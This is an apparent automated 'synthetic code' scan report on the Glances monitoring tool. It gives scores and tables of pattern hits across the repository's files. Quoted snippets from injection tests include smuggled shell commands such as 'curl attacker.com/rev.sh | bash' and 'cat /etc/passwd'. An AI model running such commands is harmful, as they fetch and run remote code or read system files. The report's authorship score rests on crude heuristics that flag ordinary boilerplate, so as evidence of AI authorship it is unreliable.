Repository Analysis

nicolargo/glances

Glances an Eye on your system. A top/htop alternative for GNU/Linux, BSD, Mac OS and Windows operating systems.

33.8 Strong AI signal View on GitHub

Analysis Overview

This report presents the forensic synthetic code analysis of nicolargo/glances, a Python project with 33,090 GitHub stars. SynthScan v2.0 examined 66,789 lines of code across 329 source files, recording 1270 pattern matches distributed across 16 syntactic categories. The overall adjusted score of 33.8 places this repository in the Strong AI signal band.

The scanner applied 160+ deterministic lexical heuristics, multi-line block detectors, abstract syntax tree depth profilers, and a cross-file Jaccard similarity matrix to construct a statistically normalised synthetic code estimate. All matches are individually weighted by severity coefficient and contextual multiplier before summation, and the resulting headline score is temporally discounted to account for the repository's development history relative to the commercial emergence of large language model coding tooling (November 2022 onward).

33.8
Adjusted Score
33.8
Raw Score
100%
Time Factor
2026-07-13
Last Push
33.1K
Stars
Python
Language
66.8K
Lines of Code
329
Files
1.3K
Pattern Hits
2026-07-14
Scan Date
0.11
HC Hit Rate

What These Metrics Mean

Adjusted Score
Primary synthetic code indicator. Raw score normalised per 1,000 lines of code and multiplied by the temporal discount factor. This is the definitive comparative metric — use it to rank repositories by AI authorship density.
Raw Score
The unmodified sum of all severity-weighted, context-multiplied pattern match scores before temporal discounting. Reflects the absolute signal strength independent of when the repository was last active.
Time Factor
The temporal discount multiplier (0–100%) applied to the raw score. Repositories last updated before ChatGPT's launch (Nov 2022) receive a 5% factor. Full signal is only assigned to repositories active in the post-adoption era (Jan 2024+).
Pattern Hits
Total count of individual pattern matches across all files and categories. A high hit count with a low score may indicate a very large codebase with isolated AI snippets; a low count with a high score indicates dense, concentrated AI signatures.
HC Hit Rate
High+Critical pattern hits per file, averaged across the repository. This orthogonal signal catches repositories where a few files are densely packed with high-severity AI tells — a strong indicator even when the normalised score appears moderate due to codebase size.
Lines of Code / Files
Total lines and files analysed. The scanner examines 94 file extensions. These denominators are used to normalise the score, enabling fair comparison between repositories of vastly different sizes.

Score History

This chart maps the temporal evolution of the adjusted synthetic code score across successive scan runs. An upward trajectory indicates ongoing incorporation of AI-generated code or expanding LLM-assisted scaffolding; a stable or declining trajectory may reflect active human refactoring, code removal, or the adoption of stricter authorship policies. The dashed secondary line (right axis) independently tracks total raw pattern hit count, which can diverge from the normalised score when codebase size changes significantly between scans.

Severity Breakdown

Classifies detected patterns by their diagnostic confidence and structural impact. CRITICAL patterns (coefficient 10) represent definitive synthetic signatures — hallucinated imports, explicit LLM attribution metadata — virtually never produced by human authors. HIGH (5) indicates strong structural tells such as cross-file repetition or cross-linguistic idioms. MEDIUM (2) covers recognisable conversational padding and AI-specific vocabulary. LOW (1) captures subtle indicators like tautological comments and generic boilerplate that require density to carry independent signal.

CRITICAL 0HIGH 36MEDIUM 342LOW 892

Directory Score Breakdown

This horizontal bar chart decomposes the repository's raw synthetic code score by top-level directory, allowing you to pinpoint precisely which modules or components carry the highest AI authorship density. Directories with disproportionately high scores relative to their size warrant targeted manual review: concentrated AI signatures often trace back to mass-generated configuration layers, auto-ported test suites, LLM-scaffolded boilerplate classes, or entire subsystems authored under heavy copilot assistance. Use this view to prioritise your human code-review effort.

Pattern Findings

The scanner identified 1270 distinct pattern matches across 16 syntactic categories. Each entry below represents a discrete location in the source code where the engine recorded a statistically significant AI authorship indicator. Expand any category row to inspect the individual file paths, line numbers, code snippets, and the lexical context (CODE, COMMENT, or STRING) in which each match was detected.

Reading the findings table: The Severity column indicates the diagnostic confidence level (CRITICAL / HIGH / MEDIUM / LOW). The Context column identifies whether the match occurred inside executable code, an inline comment, or a string literal — comment-context matches receive a ×1.5 weight because LLMs systematically over-annotate. The ⚡ bolt icon marks clustered matches: three or more patterns within a 10-line window, each receiving an additional ×1.5 density multiplier as dense clusters constitute far stronger evidence of synthetic authorship than isolated hits.

Self-Referential Comments222 hits · 676 pts
SeverityFileLineSnippetContext
MEDIUMtests/test_export_influxdb_v1.sh33# Create the glances databaseCOMMENT
MEDIUMtests/test_core.py1028 # Create a test plugin with MMM enabledCOMMENT
MEDIUMtests/test_core.py1167 # Create a list of statsCOMMENT
MEDIUMtests/test_plugin_virsh_injection.py3# This file is part of Glances.COMMENT
MEDIUMtests/test_outdated.py3# This file is part of Glances.COMMENT
MEDIUMtests/test_export_timescaledb.sh27# Create the glances databaseCOMMENT
MEDIUMtests/test_xmlrpc.py3# This file is part of Glances.COMMENT
MEDIUMtests/test_amp_secure_popen.py2# This file is part of Glances.COMMENT
MEDIUMtests/test_mcp.py3# This file is part of Glances.COMMENT
MEDIUMtests/test_export_influxdb_v3.sh18# Create the tokenCOMMENT
MEDIUMtests/test_export_influxdb_v3.sh24# Create a new configuration for the testCOMMENT
MEDIUMtests/test_export_influxdb_v3.sh28# Create the glances databaseCOMMENT
MEDIUMtests/test_duckdb_sanitize.py107 # Create a target table that the injection would try to dropCOMMENT
MEDIUMdocs/conf.py5# This file is execfile()d with the current directory set to itsCOMMENT
MEDIUMglances/amps_list.py2# This file is part of Glances.COMMENT
MEDIUMglances/stats_client.py2# This file is part of Glances.COMMENT
MEDIUMglances/client_browser.py2# This file is part of Glances.COMMENT
MEDIUMglances/standalone.py2# This file is part of Glances.COMMENT
MEDIUMglances/event.py2# This file is part of Glances.COMMENT
MEDIUMglances/server.py2# This file is part of Glances.COMMENT
MEDIUMglances/web_list.py2# This file is part of Glances.COMMENT
MEDIUMglances/attribute.py2# This file is part of Glances.COMMENT
MEDIUMglances/servers_list_dynamic.py2# This file is part of Glances.COMMENT
MEDIUMglances/servers_list_dynamic.py88 # Create an instance of the servers listCOMMENT
MEDIUMglances/config.py2# This file is part of Glances.COMMENT
MEDIUMglances/config.py125 """This class is used to access/read config file, if it exists.STRING
MEDIUMglances/thresholds.py2# This file is part of Glances.COMMENT
MEDIUMglances/webserver.py2# This file is part of Glances.COMMENT
MEDIUMglances/stats_server.py2# This file is part of Glances.COMMENT
MEDIUMglances/stats_client_snmp.py2# This file is part of Glances.COMMENT
MEDIUMglances/stats_client_snmp.py51 # Create an instance of the SNMP clientCOMMENT
MEDIUMglances/timer.py2# This file is part of Glances.COMMENT
MEDIUMglances/globals.py3# This file is part of Glances.COMMENT
MEDIUMglances/client.py2# This file is part of Glances.COMMENT
MEDIUMglances/events_list.py2# This file is part of Glances.COMMENT
MEDIUMglances/events_list.py285 # Define the automatic process sort keyCOMMENT
MEDIUMglances/events_list.py288 # Create the new log itemCOMMENT
MEDIUMglances/events_list.py356 # Create a new clean listCOMMENT
MEDIUMglances/secure.py2# This file is part of Glances.COMMENT
MEDIUMglances/actions.py2# This file is part of Glances.COMMENT
MEDIUMglances/__init__.py2# This file is part of Glances.COMMENT
MEDIUMglances/__init__.py185 # Create the Glances main instanceCOMMENT
MEDIUMglances/logger.py2# This file is part of Glances.COMMENT
MEDIUMglances/logger.py26# Define the glances log fileCOMMENT
MEDIUMglances/logger.py40# Define the logging configurationCOMMENT
MEDIUMglances/stats_streamer.py2# This file is part of Glances.COMMENT
MEDIUMglances/processes.py2# This file is part of Glances.COMMENT
MEDIUMglances/servers_list_static.py2# This file is part of Glances.COMMENT
MEDIUMglances/programs.py2# This file is part of Glances.COMMENT
MEDIUMglances/password_list.py2# This file is part of Glances.COMMENT
MEDIUMglances/stats.py2# This file is part of Glances.COMMENT
MEDIUMglances/snmp.py2# This file is part of Glances.COMMENT
MEDIUMglances/cpu_percent.py2# This file is part of Glances.COMMENT
MEDIUMglances/filter.py2# This file is part of Glances.COMMENT
MEDIUMglances/outdated.py2# This file is part of Glances.COMMENT
MEDIUMglances/outdated.py152 # Create the cache directoryCOMMENT
MEDIUMglances/jwt_utils.py2# This file is part of Glances.COMMENT
MEDIUMglances/password.py2# This file is part of Glances.COMMENT
MEDIUMglances/password.py110 # Create the glances directoryCOMMENT
MEDIUMglances/main.py2# This file is part of Glances.COMMENT
162 more matches not shown…
Hyper-Verbose Identifiers479 hits · 520 pts
SeverityFileLineSnippetContext
LOWtests/test_actions_sanitize.py47 def test_empty_dict_returns_empty(self):CODE
LOWtests/test_actions_sanitize.py56 def test_strips_double_ampersand(self):CODE
LOWtests/test_actions_sanitize.py68 def test_strips_append_redirect(self):CODE
LOWtests/test_actions_sanitize.py74 def test_strips_multiple_operators(self):CODE
LOWtests/test_actions_sanitize.py83 def test_preserves_int_values(self):CODE
LOWtests/test_actions_sanitize.py88 def test_preserves_float_values(self):CODE
LOWtests/test_actions_sanitize.py93 def test_preserves_none_values(self):CODE
LOWtests/test_actions_sanitize.py98 def test_preserves_bool_values(self):CODE
LOWtests/test_actions_sanitize.py103 def test_preserves_list_of_numbers(self):CODE
LOWtests/test_actions_sanitize.py109 def test_strips_operators_in_nested_list(self):CODE
LOWtests/test_actions_sanitize.py116 def test_strips_operators_in_nested_dict(self):CODE
LOWtests/test_actions_sanitize.py122 def test_strips_operators_in_deeply_nested(self):CODE
LOWtests/test_actions_sanitize.py127 def test_preserves_tuple_type(self):CODE
LOWtests/test_actions_sanitize.py133 def test_sanitize_value_passthrough_non_string(self):CODE
LOWtests/test_actions_sanitize.py139 def test_clean_string_unchanged(self):CODE
LOWtests/test_actions_sanitize.py145 def test_does_not_mutate_original(self):CODE
LOWtests/test_actions_sanitize.py164 def test_pipe_injection_in_process_name(self):CODE
LOWtests/test_actions_sanitize.py175 def test_chain_injection_in_container_name(self):CODE
LOWtests/test_actions_sanitize.py189 def test_redirect_injection_in_mount_point(self):CODE
LOWtests/test_actions_sanitize.py199 def test_append_redirect_injection(self):CODE
LOWtests/test_actions_sanitize.py207 def test_lone_ampersand_is_stripped(self):CODE
LOWtests/test_actions_sanitize.py214 def test_cross_field_ampersand_reconstruction_blocked(self):CODE
LOWtests/test_actions_sanitize.py297 def test_run_sanitizes_chain_in_mustache(self, actions):CODE
LOWtests/test_actions_sanitize.py311 def test_run_sanitizes_redirect_in_mustache(self, actions):CODE
LOWtests/test_actions_sanitize.py451 def test_allow_operators_true_when_no_args(self):CODE
LOWtests/test_actions_sanitize.py454 def test_allow_operators_true_when_flag_absent(self):CODE
LOWtests/test_actions_sanitize.py457 def test_allow_operators_false_when_disabled(self):CODE
LOWtests/test_actions_sanitize.py460 def test_allow_operators_true_when_enabled(self):CODE
LOWtests/test_actions_sanitize.py463 def test_run_passes_allow_operators_false_when_disabled(self):CODE
LOWtests/test_actions_sanitize.py269 def test_run_with_safe_values(self, actions):CODE
LOWtests/test_actions_sanitize.py280 def test_run_sanitizes_pipe_in_mustache(self, actions):CODE
LOWtests/test_actions_sanitize.py325 def test_run_preserves_template_operators(self, actions):CODE
LOWtests/test_actions_sanitize.py342 def test_run_preserves_template_redirect(self, actions):CODE
LOWtests/test_actions_sanitize.py357 def test_run_preserves_template_chain(self, actions):CODE
LOWtests/test_actions_sanitize.py371 def test_run_sanitizes_cmdline_section(self, actions):CODE
LOWtests/test_actions_sanitize.py387 def test_run_blocks_cross_field_ampersand_chain(self, actions):CODE
LOWtests/test_actions_sanitize.py402 def test_run_does_not_execute_when_already_triggered(self, actions):CODE
LOWtests/test_actions_sanitize.py414 def test_run_repeats_when_repeat_true(self, actions):CODE
LOWtests/test_actions_sanitize.py478 def test_run_passes_allow_operators_true_by_default(self):CODE
LOWtests/test_actions_sanitize.py493 def test_run_disabled_does_not_write_redirect_file(self):CODE
LOWtests/test_browser_tui.py143 def test_serverlist_section_exists(self, browser_config):CODE
LOWtests/test_browser_tui.py146 def test_passwords_section_exists(self, browser_config):CODE
LOWtests/test_browser_tui.py190 def test_server_type_is_static(self, servers_list):CODE
LOWtests/test_browser_tui.py194 def test_server_initial_status(self, servers_list):CODE
LOWtests/test_browser_tui.py198 def test_server_default_username(self, servers_list):CODE
LOWtests/test_browser_tui.py202 def test_server_default_empty_password(self, servers_list):CODE
LOWtests/test_browser_tui.py215 def test_host_specific_password(self, servers_list):CODE
LOWtests/test_browser_tui.py225 def test_no_password_without_default(self):CODE
LOWtests/test_browser_tui.py264 def test_uri_without_password(self, servers_list):CODE
LOWtests/test_browser_tui.py293 def test_uri_protected_uses_saved_password(self, servers_list):CODE
LOWtests/test_browser_tui.py310 def test_uri_protected_default_fallback(self, servers_list):CODE
LOWtests/test_browser_tui.py325 def test_uri_static_uses_name_not_ip(self, servers_list):CODE
LOWtests/test_browser_tui.py352 def test_uri_dynamic_uses_ip_not_name(self, servers_list):CODE
LOWtests/test_browser_tui.py367 def test_uri_dynamic_protected_no_saved_password(self, servers_list):CODE
LOWtests/test_browser_tui.py385 def test_uri_dynamic_no_default_password_fallback(self, servers_list):CODE
LOWtests/test_browser_tui.py403 def test_get_connect_host_static(self, servers_list):CODE
LOWtests/test_browser_tui.py407 def test_get_connect_host_dynamic(self, servers_list):CODE
LOWtests/test_browser_tui.py411 def test_get_preconfigured_password_static(self, servers_list):CODE
LOWtests/test_browser_tui.py415 def test_get_preconfigured_password_dynamic_returns_none(self, servers_list):CODE
LOWtests/test_browser_tui.py419 def test_get_preconfigured_password_dynamic_no_default(self, servers_list):CODE
419 more matches not shown…
Decorative Section Separators105 hits · 392 pts
SeverityFileLineSnippetContext
MEDIUMtests/test_actions_sanitize.py36# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_actions_sanitize.py38# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_actions_sanitize.py156# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_actions_sanitize.py158# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_actions_sanitize.py224# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_actions_sanitize.py226# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_actions_sanitize.py253# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_actions_sanitize.py255# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_actions_sanitize.py427# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_actions_sanitize.py429# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_browser_tui.py135# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_browser_tui.py137# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_browser_tui.py207# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_browser_tui.py209# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_browser_tui.py232# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_browser_tui.py234# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_browser_tui.py256# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_browser_tui.py258# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_browser_tui.py341# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_browser_tui.py343# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_browser_tui.py425# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_browser_tui.py427# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_browser_tui.py31# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_browser_tui.py33# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_browser_tui.py101# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_browser_tui.py103# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_browser_tui.py163# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_browser_tui.py165# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_core.py67# =================COMMENT
MEDIUMtests/test_core.py80# ==============COMMENT
MEDIUMtests/test_plugin_virsh_injection.py37# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_plugin_virsh_injection.py39# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_plugin_virsh_injection.py54# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_plugin_virsh_injection.py56# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_plugin_virsh_injection.py152# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_plugin_virsh_injection.py154# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_browser_restful.py130# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_browser_restful.py132# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_browser_restful.py139# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_browser_restful.py141# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_browser_restful.py181# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_browser_restful.py183# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_browser_restful.py266# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_browser_restful.py268# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_browser_restful.py31# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_browser_restful.py33# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_browser_restful.py53# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_browser_restful.py55# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_browser_restful.py102# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_browser_restful.py104# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_browser_restful.py216# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_browser_restful.py218# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_api.py17# =================COMMENT
MEDIUMtests/test_amp_secure_popen.py36# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_amp_secure_popen.py38# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_amp_secure_popen.py64# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_amp_secure_popen.py66# ---------------------------------------------------------------------------COMMENT
MEDIUMtests/test_mcp.py380 # ------------------------------------------------------------------COMMENT
MEDIUMtests/test_mcp.py382 # ------------------------------------------------------------------COMMENT
MEDIUMtests/test_mcp.py413 # ------------------------------------------------------------------COMMENT
45 more matches not shown…
Excessive Try-Catch Wrapping199 hits · 215 pts
SeverityFileLineSnippetContext
LOWtests/test_core.py227 except Exception as e:CODE
LOWtests/test_core.py233 except Exception as e:CODE
LOWtests/test_outdated.py88 except Exception:CODE
LOWtests/test_plugin_sensors.py282 except Exception as e:CODE
LOWtests/test_plugin_sensors.py292 except Exception as e:CODE
LOWtests/test_plugin_sensors.py304 except Exception as e:CODE
LOW.claude/skills/new-export.md66 except Exception as e:CODE
LOW.claude/skills/new-export.md86 except Exception as e:CODE
MEDIUMtests-data/tools/csvcheck.py23 print("Error: CSV file is empty")CODE
MEDIUMtests-data/tools/csvcheck.py35 print(f"Error: Expected {expected_lines} lines, but found {row_count}")CODE
MEDIUMtests-data/tools/csvcheck.py42 print("Error: Not all rows have the same number of columns")CODE
MEDIUMtests-data/tools/csvcheck.py52 print(f"Error: Expected {expected_columns} columns, but found {header_columns}")CODE
MEDIUMtests-data/tools/csvcheck.py59 print(f"Error: File '{input_file}' not found")CODE
LOWtests-data/tools/csvcheck.py61 except Exception as e:CODE
MEDIUMtests-data/tools/csvcheck.py62 print(f"Error processing CSV file: {str(e)}")CODE
MEDIUMtests-data/tools/csvcheck.py15def check_csv(input_file, expected_lines, expected_columns=None):CODE
MEDIUMtests-data/tools/duckdbcheck.py25 print(f"Error: Expected {expected_lines} CPU lines, but found {row_count}")CODE
MEDIUMtests-data/tools/duckdbcheck.py33 print(f"Error: Expected {expected_lines} Network lines, but found {row_count}")CODE
MEDIUMtests-data/tools/duckdbcheck.py39 print(f"Error: File '{input_file}' not found")CODE
LOWtests-data/tools/duckdbcheck.py41 except Exception as e:CODE
MEDIUMtests-data/tools/duckdbcheck.py42 print(f"Error processing DuckDB file: {str(e)}")CODE
MEDIUMtests-data/tools/duckdbcheck.py16def check_duckdb(input_file, expected_lines, expected_columns=None):CODE
LOWglances/amps_list.py60 except Exception as e:CODE
LOWglances/server.py62 except Exception:CODE
LOWglances/server.py229 except Exception as e:CODE
LOWglances/servers_list_dynamic.py226 except Exception as e:CODE
LOWglances/stats_client_snmp.py99 except Exception as e:CODE
LOWglances/globals.py169 except Exception as e:CODE
LOWglances/globals.py226 except Exception as e:CODE
LOWglances/client.py70 except Exception as e:CODE
LOWglances/client.py245 except Exception:CODE
LOWglances/client.py290 except Exception:CODE
LOWglances/stats_streamer.py64 except Exception as e:CODE
LOWglances/processes.py124 except Exception as e:CODE
LOWglances/processes.py135 except Exception as e:CODE
LOWglances/processes.py817 except Exception as e:CODE
LOWglances/stats.py116 except Exception as e:CODE
LOWglances/stats.py234 except Exception as e:CODE
LOWglances/cpu_percent.py253 except Exception as e:CODE
LOWglances/filter.py130 except Exception as e:CODE
LOWglances/outdated.py25except Exception as e:CODE
LOWglances/outdated.py131 except Exception as e:CODE
LOWglances/outdated.py166 except Exception as e:CODE
LOWglances/outdated.py178 except Exception as e:CODE
LOWglances/servers_list.py183 except Exception as e:CODE
LOWglances/folder_list.py108 except Exception:CODE
LOWglances/amps/systemv/__init__.py61 except Exception as e:CODE
LOWglances/amps/default/__init__.py70 except Exception as e:CODE
LOWglances/plugins/processlist/__init__.py193 except Exception:CODE
LOWglances/plugins/sensors/__init__.py118 except Exception as e:CODE
LOWglances/plugins/sensors/__init__.py156 except Exception as e:CODE
LOWglances/plugins/sensors/sensor/glances_batpercent.py32except Exception as e:CODE
LOWglances/plugins/sensors/sensor/glances_batpercent.py50 except Exception as e:CODE
LOWglances/plugins/sensors/sensor/glances_hddtemp.py134 except Exception as e:CODE
LOWglances/plugins/diskio/__init__.py149 except Exception:CODE
LOWglances/plugins/gpu/__init__.py90 except Exception as e:CODE
LOWglances/plugins/gpu/__init__.py97 except Exception as e:CODE
LOWglances/plugins/gpu/__init__.py106 except Exception as e:CODE
LOWglances/plugins/gpu/__init__.py115 except Exception as e:CODE
LOWglances/plugins/gpu/cards/nvidia.py36except Exception as e:CODE
139 more matches not shown…
Cross-File Repetition21 hits · 105 pts
SeverityFileLineSnippetContext
HIGHtests/test_plugin_load.py0test that get_items_history_list returns the history items.STRING
HIGHtests/test_plugin_cpu.py0test that get_items_history_list returns the history items.STRING
HIGHtests/test_plugin_memswap.py0test that get_items_history_list returns the history items.STRING
HIGHtests/test_plugin_processcount.py0test that get_items_history_list returns the history items.STRING
HIGHtests/test_plugin_mem.py0test that get_items_history_list returns the history items.STRING
HIGHtests/test_plugin_load.py0test that msg_curse returns properly formatted entries.STRING
HIGHtests/test_plugin_cpu.py0test that msg_curse returns properly formatted entries.STRING
HIGHtests/test_plugin_processcount.py0test that msg_curse returns properly formatted entries.STRING
HIGHtests/test_plugin_mem.py0test that msg_curse returns properly formatted entries.STRING
HIGHtests/test_plugin_network.py0test that msg_curse returns empty without max_width.STRING
HIGHtests/test_plugin_fs.py0test that msg_curse returns empty without max_width.STRING
HIGHtests/test_plugin_diskio.py0test that msg_curse returns empty without max_width.STRING
HIGHtests/test_plugin_sensors.py0test that msg_curse returns empty without max_width.STRING
HIGHtests-data/issues/issue3319.py0exit the function if it takes more than 'seconds' seconds to complete. in this case, return the value of 'default' (defaSTRING
HIGHtests-data/issues/issue3290.py0exit the function if it takes more than 'seconds' seconds to complete. in this case, return the value of 'default' (defaSTRING
HIGHglances/globals.py0exit the function if it takes more than 'seconds' seconds to complete. in this case, return the value of 'default' (defaSTRING
HIGHglances/plugins/plugin/model.py0return the string to display in the curse interface.STRING
HIGHglances/plugins/system/__init__.py0return the string to display in the curse interface.STRING
HIGHglances/plugins/now/__init__.py0return the string to display in the curse interface.STRING
HIGHglances/plugins/cloud/__init__.py0return the string to display in the curse interface.STRING
HIGHglances/plugins/uptime/__init__.py0return the string to display in the curse interface.STRING
Over-Commented Block105 hits · 104 pts
SeverityFileLineSnippetContext
LOWrequirements.txt1# This file was autogenerated by uv via the following command:COMMENT
LOWdev-requirements.txt1# This file was autogenerated by uv via the following command:COMMENT
LOWdev-requirements.txt21 # reuseCOMMENT
LOWdev-requirements.txt41cffi==2.1.0 ; (implementation_name != 'pypy' and os_name == 'nt') or platform_python_implementation != 'PyPy'COMMENT
LOWdev-requirements.txt61 # pytestCOMMENT
LOWdev-requirements.txt81 # viaCOMMENT
LOWdev-requirements.txt101 # via semgrepCOMMENT
LOWdev-requirements.txt121 # httpxCOMMENT
LOWdev-requirements.txt161 # via markdown-it-pyCOMMENT
LOWdev-requirements.txt181 # viaCOMMENT
LOWdev-requirements.txt201opentelemetry-proto==1.37.0COMMENT
LOWdev-requirements.txt221 # viaCOMMENT
LOWdev-requirements.txt241protobuf==6.33.6COMMENT
LOWdev-requirements.txt261 # richCOMMENT
LOWdev-requirements.txt281python-dotenv==1.2.2COMMENT
LOWdev-requirements.txt301 # opentelemetry-exporter-otlp-proto-httpCOMMENT
LOWdev-requirements.txt341 # via trioCOMMENT
LOWdev-requirements.txt361sphinxcontrib-devhelp==2.0.0COMMENT
LOWdev-requirements.txt381tomli==2.4.1COMMENT
LOWdev-requirements.txt401 # opentelemetry-apiCOMMENT
LOWdev-requirements.txt421 # pydantic-settingsCOMMENT
LOWdocker-requirements.txt1# This file was autogenerated by uv via the following command:COMMENT
LOWdocker-requirements.txt21 # requestsCOMMENT
LOWdocker-requirements.txt41exceptiongroup==1.2.2 ; python_full_version < '3.11'COMMENT
LOWdocker-requirements.txt61 # via glancesCOMMENT
LOWdocker-requirements.txt81 # via cffiCOMMENT
LOWdocker-requirements.txt101python-dotenv==1.2.2COMMENT
LOWdocker-requirements.txt121 # requests-toolbeltCOMMENT
LOWdocker-requirements.txt141sse-starlette==3.4.5COMMENT
LOWdocker-requirements.txt161 # typing-inspectionCOMMENT
LOWall-requirements.txt1# This file was autogenerated by uv via the following command:COMMENT
LOWall-requirements.txt21 # via glancesCOMMENT
LOWall-requirements.txt41click==8.1.8COMMENT
LOWall-requirements.txt61elastic-transport==9.4.2COMMENT
LOWall-requirements.txt81humanfriendly==10.0COMMENT
LOWall-requirements.txt101 # via glancesCOMMENT
LOWall-requirements.txt141 # via bernhardCOMMENT
LOWall-requirements.txt161 # pydantic-settingsCOMMENT
LOWall-requirements.txt181pyreadline3==3.5.6 ; sys_platform == 'win32'COMMENT
LOWall-requirements.txt201python-dotenv==1.2.2COMMENT
LOWall-requirements.txt221 # jsonschemaCOMMENT
LOWall-requirements.txt241 # viaCOMMENT
LOWall-requirements.txt261 # via glancesCOMMENT
LOWall-requirements.txt281 # mcpCOMMENT
LOWall-requirements.txt301urllib3==2.7.0COMMENT
LOW.readthedocs.yaml21 # Fail on all warnings to avoid broken referencesCOMMENT
LOWtests/test_core.py941 print('INFO: [TEST_104] Test memswap plugin methods')COMMENT
LOWtests/test_api.py1#!/usr/bin/env pythonCOMMENT
LOWdocs/conf.py1#COMMENT
LOWdocs/conf.py21# sys.path.insert(0, os.path.abspath('.'))COMMENT
LOWdocs/conf.py61copyright = f'{year}, {author}'COMMENT
LOWdocs/conf.py81# today = ''COMMENT
LOWdocs/conf.py101# output. They are ignored by default.COMMENT
LOWdocs/conf.py121html_theme = 'sphinx_rtd_theme'COMMENT
LOWdocs/conf.py141COMMENT
LOWdocs/conf.py161# If true, SmartyPants will be used to convert quotes and dashes toCOMMENT
LOWdocs/conf.py181# If true, links to the reST sources are added to the pages.COMMENT
LOWdocs/conf.py201# 'nl', 'no', 'pt', 'ro', 'r', 'sv', 'tr'COMMENT
LOWdocs/conf.py221 # 'pointsize': '10pt',COMMENT
LOWdocs/conf.py241# latex_use_parts = FalseCOMMENT
45 more matches not shown…
Cross-Language Confusion14 hits · 99 pts
SeverityFileLineSnippetContext
HIGHtests/test_actions_sanitize.py57 d = {'name': 'web && curl evil.com'}CODE
HIGHtests/test_actions_sanitize.py75 d = {'name': 'foo|bar && baz > qux >> end'}CODE
HIGHtests/test_actions_sanitize.py117 d = {'meta': {'k': 'a|b && c > d'}}CODE
HIGHtests/test_actions_sanitize.py178 'name': 'web && curl attacker.com/rev.sh | bash && echo ',CODE
HIGHtests/test_actions_sanitize.py236 assert secure_popen('echo -n A && echo -n B') == 'AB'CODE
HIGHtests/test_actions_sanitize.py306 mustache_dict={'name': 'web && cat /etc/passwd'},CODE
HIGHtests/test_actions_sanitize.py176 """Simulate: container name contains && to chain commands."""STRING
HIGHtests/test_plugin_virsh_injection.py91 assert not os.path.exists(canary), f'Command injection via && succeeded: {canary} was created'CODE
HIGHtests/test_plugin_virsh_injection.py133 assert not os.path.exists(canary), f'Command injection via && succeeded: {canary} was created'CODE
HIGHtests/test_plugin_virsh_injection.py166 domain = 'foo && touch /tmp/should-not-happen | tee >x'CODE
HIGHtests/test_plugin_virsh_injection.py184 domain = 'titletest && cmd | x > y unique-arg-shape'CODE
HIGHtests/test_amp_secure_popen.py55 result = secure_popen('echo -n A && echo -n B', allow_operators=False)CODE
HIGHglances/plugins/containers/__init__.py531 # Only process if stats exist (and non null) and display plugin enable...COMMENT
HIGHglances/plugins/vms/__init__.py209 # Only process if stats exist (and non null) and display plugin enable...COMMENT
Deep Nesting63 hits · 60 pts
SeverityFileLineSnippetContext
LOWtests/test_core.py91CODE
LOWtests/test_restful.py116CODE
LOWtests-data/tools/csvcheck.py15CODE
LOWglances/stats_client.py32CODE
LOWglances/standalone.py33CODE
LOWglances/web_list.py31CODE
LOWglances/config.py182CODE
LOWglances/config.py346CODE
LOWglances/globals.py302CODE
LOWglances/globals.py430CODE
LOWglances/globals.py530CODE
LOWglances/globals.py677CODE
LOWglances/globals.py746CODE
LOWglances/globals.py768CODE
LOWglances/client.py157CODE
LOWglances/__init__.py125CODE
LOWglances/servers_list_static.py27CODE
LOWglances/stats.py148CODE
LOWglances/ports_list.py28CODE
LOWglances/amps/amp.py58CODE
LOWglances/amps/systemv/__init__.py54CODE
LOWglances/amps/systemd/__init__.py57CODE
LOWglances/plugins/memswap/__init__.py70CODE
LOWglances/plugins/wifi/__init__.py139CODE
LOWglances/plugins/processlist/__init__.py957CODE
